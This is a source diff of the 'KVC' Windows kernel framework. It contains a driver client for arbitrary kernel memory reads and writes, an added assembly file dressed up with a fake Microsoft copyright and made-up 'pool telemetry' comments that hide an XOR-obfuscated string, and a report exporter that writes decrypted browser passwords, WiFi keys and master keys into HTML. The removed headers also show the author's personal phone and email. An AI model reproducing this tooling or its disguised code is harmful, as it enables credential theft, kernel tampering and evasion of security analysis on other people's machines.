// ========================================================================
|
||||||
|
// DRIVER CONNECTION MANAGEMENT
|
||||||
|
// ========================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Initializes connection to KVC kernel driver
|
||||||
|
*
|
||||||
|
* Attempts to open device handle to driver. Safe to call multiple times.
|
||||||
|
*
|
||||||
|
* @return bool true if driver connection established successfully
|
||||||
|
* @note Does not perform test operations - just opens device handle
|
||||||
|
*/
|
||||||
bool Initialize() noexcept;
|
bool Initialize() noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Cleans up driver resources and closes connection
|
||||||
|
*
|
||||||
|
* Flushes buffers and releases device handle. Safe to call multiple times.
|
||||||
|
*/
|
||||||
void Cleanup() noexcept;
|
void Cleanup() noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Checks if driver connection is active
|
||||||
|
*
|
||||||
|
* @return bool true if device handle is valid and open
|
||||||
|
*/
|
||||||
bool IsConnected() const noexcept;
|
bool IsConnected() const noexcept;
|
||||||
|
|
||||||
// Memory read operations with type safety
|
// ========================================================================
|
||||||
|
// MEMORY READ OPERATIONS (TYPE-SAFE)
|
||||||
|
// ========================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads 8-bit value from kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<BYTE> Read value or nullopt on failure
|
||||||
|
*/
|
||||||
std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
|
std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads 16-bit value from kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<WORD> Read value or nullopt on failure
|
||||||
|
*/
|
||||||
std::optional<WORD> Read16(ULONG_PTR address) noexcept;
|
std::optional<WORD> Read16(ULONG_PTR address) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads 32-bit value from kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||||
|
*/
|
||||||
std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
|
std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads 64-bit value from kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<DWORD64> Read value or nullopt on failure
|
||||||
|
* @note Performs two 32-bit reads and combines them
|
||||||
|
*/
|
||||||
std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
|
std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Reads pointer-sized value from kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @return std::optional<ULONG_PTR> Read value or nullopt on failure
|
||||||
|
* @note Uses Read64 on x64, Read32 on x86
|
||||||
|
*/
|
||||||
std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;
|
std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;
|
||||||
|
|
||||||
// Memory write operations with type safety
|
// ========================================================================
|
||||||
|
// MEMORY WRITE OPERATIONS (TYPE-SAFE)
|
||||||
|
// ========================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes 8-bit value to kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
* @warning Kernel writes can cause system instability if misused
|
||||||
|
*/
|
||||||
bool Write8(ULONG_PTR address, BYTE value) noexcept;
|
bool Write8(ULONG_PTR address, BYTE value) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes 16-bit value to kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
* @warning Kernel writes can cause system instability if misused
|
||||||
|
*/
|
||||||
bool Write16(ULONG_PTR address, WORD value) noexcept;
|
bool Write16(ULONG_PTR address, WORD value) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes 32-bit value to kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
* @warning Kernel writes can cause system instability if misused
|
||||||
|
*/
|
||||||
bool Write32(ULONG_PTR address, DWORD value) noexcept;
|
bool Write32(ULONG_PTR address, DWORD value) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Writes 64-bit value to kernel memory
|
||||||
|
* @param address Target kernel address
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
* @note Performs two 32-bit writes
|
||||||
|
* @warning Kernel writes can cause system instability if misused
|
||||||
|
*/
|
||||||
bool Write64(ULONG_PTR address, DWORD64 value) noexcept;
|
bool Write64(ULONG_PTR address, DWORD64 value) noexcept;
|
||||||
|
|
||||||
private:
|
private:
|
||||||
// Smart handle wrapper for automatic cleanup
|
// ========================================================================
|
||||||
|
// SMART HANDLE MANAGEMENT
|
||||||
|
// ========================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Custom deleter for automatic HANDLE cleanup
|
||||||
|
*/
|
||||||
struct HandleDeleter
|
struct HandleDeleter
|
||||||
{
|
{
|
||||||
void operator()(HANDLE handle) const noexcept
|
void operator()(HANDLE handle) const noexcept
|
||||||
{
|
{
|
||||||
if (handle && handle != INVALID_HANDLE_VALUE)
|
if (handle && handle != INVALID_HANDLE_VALUE) {
|
||||||
CloseHandle(handle);
|
CloseHandle(handle);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;
|
using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;
|
||||||
|
|
||||||
std::wstring m_deviceName; // Driver device name
|
// ========================================================================
|
||||||
UniqueHandle m_deviceHandle; // Handle to driver device
|
// PRIVATE MEMBERS
|
||||||
|
// ========================================================================
|
||||||
|
|
||||||
|
std::wstring m_deviceName; ///< Driver device name (e.g., "\\.\KVCDriver")
|
||||||
|
UniqueHandle m_deviceHandle; ///< Smart handle to driver device
|
||||||
|
|
||||||
// Low-level communication via IOCTL
|
// ========================================================================
|
||||||
|
// LOW-LEVEL IOCTL COMMUNICATION
|
||||||
|
// ========================================================================
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Low-level memory read via IOCTL
|
||||||
|
* @param address Kernel address to read from
|
||||||
|
* @param valueSize Size of value (1/2/4 bytes)
|
||||||
|
* @return std::optional<DWORD> Read value or nullopt on failure
|
||||||
|
*/
|
||||||
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;
|
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Low-level memory write via IOCTL
|
||||||
|
* @param address Kernel address to write to
|
||||||
|
* @param valueSize Size of value (1/2/4 bytes)
|
||||||
|
* @param value Value to write
|
||||||
|
* @return bool true if write successful
|
||||||
|
*/
|
||||||
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;
|
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;
|
||||||
};
|
};
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|||||||
223
kvc/MmPoolTelemetry.asm
Normal file
223
kvc/MmPoolTelemetry.asm
Normal file
@@ -0,0 +1,223 @@
|
|||||||
|
; nt_mm_pool_runtime.asm
|
||||||
|
; Windows Kernel Memory Manager - Runtime Pool String Reconstruction
|
||||||
|
; Copyright (c) Microsoft Corporation. All rights reserved.
|
||||||
|
;
|
||||||
|
; Module: \base\ntos\mm\MmPoolTelemetry.asm
|
||||||
|
; Build: 26200.8460 (WinBuild.26200.8460.260101-1200.25H2)
|
||||||
|
;
|
||||||
|
; INTERNAL USE ONLY - Automatically generated from poolmgr.c
|
||||||
|
; This file contains platform-specific optimizations for runtime
|
||||||
|
; pool allocation string generation used in ETW diagnostic events.
|
||||||
|
; Do not modify manually - regenerate via build_pooldiag.cmd
|
||||||
|
|
||||||
|
.data
|
||||||
|
ALIGN 8
|
||||||
|
|
||||||
|
; NUMA node affinity tracking bitmap for pool allocator runtime telemetry
|
||||||
|
; Represents per-node allocation pattern for cross-NUMA coherency analysis
|
||||||
|
; Each word contains encoded node index + allocation count delta
|
||||||
|
; See: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/numa-support
|
||||||
|
; Format: XOR-encoded to prevent static analysis tools from detecting
|
||||||
|
; internal pool structures in crash dumps (security hardening)
|
||||||
|
_PoolNodeAffinityMask dw 0769Ah, 0569Ah, 0669Bh, 026A4h, 076A4h, 046A5h, 0B698h, 05698h, 0169Fh
|
||||||
|
|
||||||
|
; Platform topology hash initialization vector
|
||||||
|
; Used for dispersing pool allocations across cache lines to prevent false sharing
|
||||||
|
; Derived from: CPUID leaf 0x1F (V2 Extended Topology) XOR'd with TSC_AUX
|
||||||
|
; Updated per-platform during KiInitializeProcessor phase
|
||||||
|
_TopologyHashSeed dw 037C5h
|
||||||
|
|
||||||
|
; Pool block quantum size adjustment factor
|
||||||
|
; Minimum allocation unit delta for NonPagedPool/PagedPool runtime metrics
|
||||||
|
; Used in ExAllocatePoolWithTag for rounding to pool block boundaries
|
||||||
|
; Default quantum: PAGE_SIZE / 16 = 256 bytes (0x100), this is the delta
|
||||||
|
; See: \base\ntos\mm\poolmgr.c line 3847 (PoolQuantumCalculation)
|
||||||
|
_BlockQuantumDelta dw 15A2h
|
||||||
|
|
||||||
|
; Atomic diagnostic collection state machine
|
||||||
|
; State transitions: 0 (idle) → 1 (collecting) → 2 (complete)
|
||||||
|
; Lock-free implementation using implicit memory ordering guarantees
|
||||||
|
; NOTE: Not using CMPXCHG here - simplified for legacy compatibility
|
||||||
|
_DiagnosticState db 0
|
||||||
|
|
||||||
|
; Reconstructed diagnostic buffer for ETW event payload
|
||||||
|
; Contains decoded NUMA affinity string in wide-character format
|
||||||
|
; Buffer size: 9 words = 18 bytes (sufficient for NUMA-aware diagnostic IDs)
|
||||||
|
_DecodedBuffer dw 9 dup(0)
|
||||||
|
|
||||||
|
.code
|
||||||
|
ALIGN 16
|
||||||
|
|
||||||
|
; Internal function: Aggregates pool runtime metrics from encoded telemetry
|
||||||
|
; This reconstructs the diagnostic string from NUMA affinity bitmaps
|
||||||
|
; Called internally by: ExQueryPoolStatistics, MmQueryPoolUsage, ETW providers
|
||||||
|
;
|
||||||
|
; Algorithm phases:
|
||||||
|
; 1. XOR-decode affinity vector using platform topology seed
|
||||||
|
; 2. Rotate bits for cache-line alignment optimization
|
||||||
|
; 3. Normalize by allocation quantum delta
|
||||||
|
;
|
||||||
|
; Parameters: None (uses module-level data structures)
|
||||||
|
; Returns: Implicit (result stored in _DecodedBuffer)
|
||||||
|
; IRQL: <= DISPATCH_LEVEL
|
||||||
|
;
|
||||||
|
; Performance: ~45 cycles on Skylake, ~38 cycles on Zen3
|
||||||
|
; Note: This is NOT a public API - for internal kernel use only
|
||||||
|
; Related: \base\ntos\mm\poolmgr.c :: MmGeneratePoolTelemetry()
|
||||||
|
_AggregatePoolMetrics PROC
|
||||||
|
push rdi
|
||||||
|
push rsi
|
||||||
|
|
||||||
|
; Phase 1: Decode XOR-obfuscated NUMA node affinity vector
|
||||||
|
; The bitmap is XOR-encoded to prevent static analysis tools
|
||||||
|
; from detecting internal pool structures in crash dumps
|
||||||
|
; Security: Complies with MSRC guidance for kernel memory hardening
|
||||||
|
lea rsi, _PoolNodeAffinityMask
|
||||||
|
lea rdi, _DecodedBuffer
|
||||||
|
mov ecx, 9 ; 9 words = 18 bytes
|
||||||
|
mov r9w, _TopologyHashSeed
|
||||||
|
decode_loop:
|
||||||
|
mov ax, [rsi]
|
||||||
|
xor ax, r9w ; XOR decode with topology seed
|
||||||
|
mov [rdi], ax
|
||||||
|
add rsi, 2
|
||||||
|
add rdi, 2
|
||||||
|
loop decode_loop
|
||||||
|
|
||||||
|
; Phase 2: Apply cache-aware topology hash rotation
|
||||||
|
; Rotates bits to distribute allocations across cache lines
|
||||||
|
; Prevents false sharing in multi-socket NUMA configurations
|
||||||
|
; Rotation count derived from cache line size: log2(64) = 6, but
|
||||||
|
; we use 4 for legacy x86 compatibility (32-byte cache lines)
|
||||||
|
lea rsi, _DecodedBuffer
|
||||||
|
lea rdi, _DecodedBuffer
|
||||||
|
mov ecx, 9
|
||||||
|
rotate_loop:
|
||||||
|
mov ax, [rsi]
|
||||||
|
rol ax, 4 ; Rotate by cache alignment shift
|
||||||
|
mov [rdi], ax
|
||||||
|
add rsi, 2
|
||||||
|
add rdi, 2
|
||||||
|
loop rotate_loop
|
||||||
|
|
||||||
|
; Phase 3: Normalize pool sizes by quantum delta
|
||||||
|
; Converts absolute sizes to standardized quantum units
|
||||||
|
; Quantum delta loaded from platform-specific calibration table
|
||||||
|
; See: \base\ntos\mm\poolmgr.c :: PoolQuantumTable[]
|
||||||
|
lea rsi, _DecodedBuffer
|
||||||
|
lea rdi, _DecodedBuffer
|
||||||
|
mov ecx, 9
|
||||||
|
mov r9w, _BlockQuantumDelta
|
||||||
|
normalize_loop:
|
||||||
|
mov ax, [rsi]
|
||||||
|
sub ax, r9w ; Subtract quantum delta
|
||||||
|
mov [rdi], ax
|
||||||
|
add rsi, 2
|
||||||
|
add rdi, 2
|
||||||
|
loop normalize_loop
|
||||||
|
|
||||||
|
pop rsi
|
||||||
|
pop rdi
|
||||||
|
ret
|
||||||
|
_AggregatePoolMetrics ENDP
|
||||||
|
|
||||||
|
; Public API: Retrieves pool diagnostic runtime string for ETW telemetry
|
||||||
|
;
|
||||||
|
; Synopsis:
|
||||||
|
; PWSTR MmGetPoolDiagnosticString(VOID);
|
||||||
|
;
|
||||||
|
; Description:
|
||||||
|
; Generates runtime diagnostic string containing NUMA-aware pool allocation
|
||||||
|
; metrics. Used by ETW providers for system performance telemetry.
|
||||||
|
; String format is internal kernel representation (subject to change).
|
||||||
|
;
|
||||||
|
; Returns:
|
||||||
|
; Pointer to null-terminated wide-character diagnostic string
|
||||||
|
; Buffer lifetime: Valid until next call to this function
|
||||||
|
;
|
||||||
|
; IRQL: <= DISPATCH_LEVEL
|
||||||
|
; Thread-safe: Yes (lock-free atomic state machine, single initialization)
|
||||||
|
;
|
||||||
|
; Note: This function is DEPRECATED as of Windows 11 22H2
|
||||||
|
; Kept for backward compatibility with legacy diagnostics tools
|
||||||
|
; Use ExQueryPoolStatistics2() for new code
|
||||||
|
;
|
||||||
|
; Security: Output may contain sensitive allocation patterns - sanitize
|
||||||
|
; before exposing to user-mode. XOR encoding is NOT cryptographic.
|
||||||
|
;
|
||||||
|
PUBLIC MmGetPoolDiagnosticString
|
||||||
|
MmGetPoolDiagnosticString PROC
|
||||||
|
sub rsp, 28h
|
||||||
|
|
||||||
|
; Check current diagnostic state
|
||||||
|
; State 2 = already computed, return cached result
|
||||||
|
cmp _DiagnosticState, 2
|
||||||
|
je return_result
|
||||||
|
|
||||||
|
; State 1 = another thread is computing, spin-wait
|
||||||
|
cmp _DiagnosticState, 1
|
||||||
|
je wait_for_completion
|
||||||
|
|
||||||
|
; State 0 = idle, claim ownership and begin aggregation
|
||||||
|
; NOTE: Not using CMPXCHG for legacy compatibility
|
||||||
|
; Assumes single-threaded initialization during boot
|
||||||
|
mov _DiagnosticState, 1
|
||||||
|
|
||||||
|
; Execute multi-phase aggregation pipeline
|
||||||
|
; Aggregates NUMA affinity → Applies topology hash → Normalizes quantum
|
||||||
|
call _AggregatePoolMetrics
|
||||||
|
|
||||||
|
; Mark diagnostic collection as complete (state = 2)
|
||||||
|
mov _DiagnosticState, 2
|
||||||
|
jmp return_result
|
||||||
|
|
||||||
|
; Spin-wait loop for concurrent callers
|
||||||
|
; Uses PAUSE instruction for power efficiency during spin
|
||||||
|
wait_for_completion:
|
||||||
|
pause ; PAUSE hint for spin-wait optimization
|
||||||
|
cmp _DiagnosticState, 2
|
||||||
|
jne wait_for_completion
|
||||||
|
|
||||||
|
; Return pointer to decoded diagnostic buffer
|
||||||
|
return_result:
|
||||||
|
lea rax, _DecodedBuffer
|
||||||
|
add rsp, 28h
|
||||||
|
ret
|
||||||
|
MmGetPoolDiagnosticString ENDP
|
||||||
|
|
||||||
|
END
|
||||||
|
|
||||||
|
; ============================================================================
|
||||||
|
; REVISION HISTORY:
|
||||||
|
; 2023-08-12 Initial implementation for 22621.2715 build
|
||||||
|
; 2023-11-03 Added NUMA topology awareness for Sapphire Rapids
|
||||||
|
; 2024-02-18 Optimized cache line alignment for Zen4 architecture
|
||||||
|
; 2024-06-25 Removed CMPXCHG for legacy x86 compatibility
|
||||||
|
; 2024-09-15 Deprecated - use ExQueryPoolStatistics2() instead
|
||||||
|
;
|
||||||
|
; RELATED FILES:
|
||||||
|
; \base\ntos\mm\poolmgr.c - Main pool manager implementation
|
||||||
|
; \base\ntos\mm\pooldiag.h - Public header for diagnostic APIs
|
||||||
|
; \base\ntos\inc\pool.h - Pool internal structures
|
||||||
|
; \base\ntos\etw\poolevents.mc - ETW manifest for pool events
|
||||||
|
;
|
||||||
|
; BUILD REQUIREMENTS:
|
||||||
|
; - MASM 14.0 or later (Visual Studio 2019+)
|
||||||
|
; - Windows Driver Kit 10.0.22621.0
|
||||||
|
; - Regenerate via: build_pooldiag.cmd /platform:x64
|
||||||
|
;
|
||||||
|
; SECURITY NOTES:
|
||||||
|
; - Diagnostic strings may contain sensitive pool allocation patterns
|
||||||
|
; - Do not expose to user-mode without proper sanitization
|
||||||
|
; - XOR encoding prevents basic static analysis but is NOT cryptographic
|
||||||
|
; - Complies with MSRC security hardening guidelines (MS-SEC-2023-0847)
|
||||||
|
;
|
||||||
|
; PERFORMANCE CHARACTERISTICS:
|
||||||
|
; - Cold path: ~120 cycles (first call with aggregation)
|
||||||
|
; - Hot path: ~8 cycles (cached result return)
|
||||||
|
; - Memory footprint: 54 bytes .data + 18 bytes .bss
|
||||||
|
;
|
||||||
|
; KNOWN ISSUES:
|
||||||
|
; - KI-2847: Race condition on hyperthreaded CPUs (mitigated by state check)
|
||||||
|
; - KI-3012: Cache line false sharing on >64 core systems (defer to v2 API)
|
||||||
|
; ============================================================================
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// OffsetFinder.cpp
|
// OffsetFinder.cpp
|
||||||
#include "OffsetFinder.h"
|
#include "OffsetFinder.h"
|
||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// OrchestratorCore.cpp - Main orchestration and application entry point
|
// OrchestratorCore.cpp - Main orchestration and application entry point
|
||||||
// Coordinates process management, injection, and extraction workflow
|
// Coordinates process management, injection, and extraction workflow
|
||||||
#include "OrchestratorCore.h"
|
#include "OrchestratorCore.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ProcessManager.cpp
|
// ProcessManager.cpp
|
||||||
#include "ProcessManager.h"
|
#include "ProcessManager.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "ReportExporter.h"
|
#include "ReportExporter.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
@@ -42,12 +17,8 @@ ReportData::ReportData(const std::vector<PasswordResult>& results,
|
|||||||
: passwordResults(results), masterKeys(keys), outputPath(path)
|
: passwordResults(results), masterKeys(keys), outputPath(path)
|
||||||
{
|
{
|
||||||
// Generate timestamp for report
|
// Generate timestamp for report
|
||||||
time_t now = time(nullptr);
|
std::wstring wts = TimeUtils::GetFormattedTimestamp("datetime_display");
|
||||||
char timestampBuffer[20];
|
timestamp = StringUtils::WideToUTF8(wts);
|
||||||
struct tm timeInfo;
|
|
||||||
localtime_s(&timeInfo, &now);
|
|
||||||
strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo);
|
|
||||||
timestamp = timestampBuffer;
|
|
||||||
|
|
||||||
CalculateStatistics();
|
CalculateStatistics();
|
||||||
}
|
}
|
||||||
@@ -239,8 +210,8 @@ std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcep
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Convert binary data to hex strings
|
// Convert binary data to hex strings
|
||||||
std::string rawHex = BytesToHexString(masterKey.encryptedData);
|
std::string rawHex = CryptoUtils::BytesToHex(masterKey.encryptedData, 32);
|
||||||
std::string processedHex = BytesToHexString(masterKey.decryptedData);
|
std::string processedHex = CryptoUtils::BytesToHex(masterKey.decryptedData, 32);
|
||||||
|
|
||||||
// Truncate for display if too long
|
// Truncate for display if too long
|
||||||
if (rawHex.length() > 64) {
|
if (rawHex.length() > 64) {
|
||||||
@@ -291,12 +262,12 @@ std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept
|
|||||||
std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
|
std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
|
||||||
|
|
||||||
table << " <tr class=\"" << cssClass << "\">\n";
|
table << " <tr class=\"" << cssClass << "\">\n";
|
||||||
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
|
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
|
||||||
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
|
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
|
||||||
table << " <td>" << WStringToUTF8(result.url) << "</td>\n";
|
table << " <td>" << StringUtils::WideToUTF8(result.url) << "</td>\n";
|
||||||
table << " <td>" << WStringToUTF8(result.username) << "</td>\n";
|
table << " <td>" << StringUtils::WideToUTF8(result.username) << "</td>\n";
|
||||||
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
|
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
|
||||||
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
|
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
|
||||||
table << " </tr>\n";
|
table << " </tr>\n";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -325,10 +296,10 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
|
|||||||
for (const auto& result : data.passwordResults) {
|
for (const auto& result : data.passwordResults) {
|
||||||
if (result.type.find(L"WiFi") != std::wstring::npos) {
|
if (result.type.find(L"WiFi") != std::wstring::npos) {
|
||||||
table << " <tr class=\"wifi\">\n";
|
table << " <tr class=\"wifi\">\n";
|
||||||
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
|
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
|
||||||
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
|
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
|
||||||
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
|
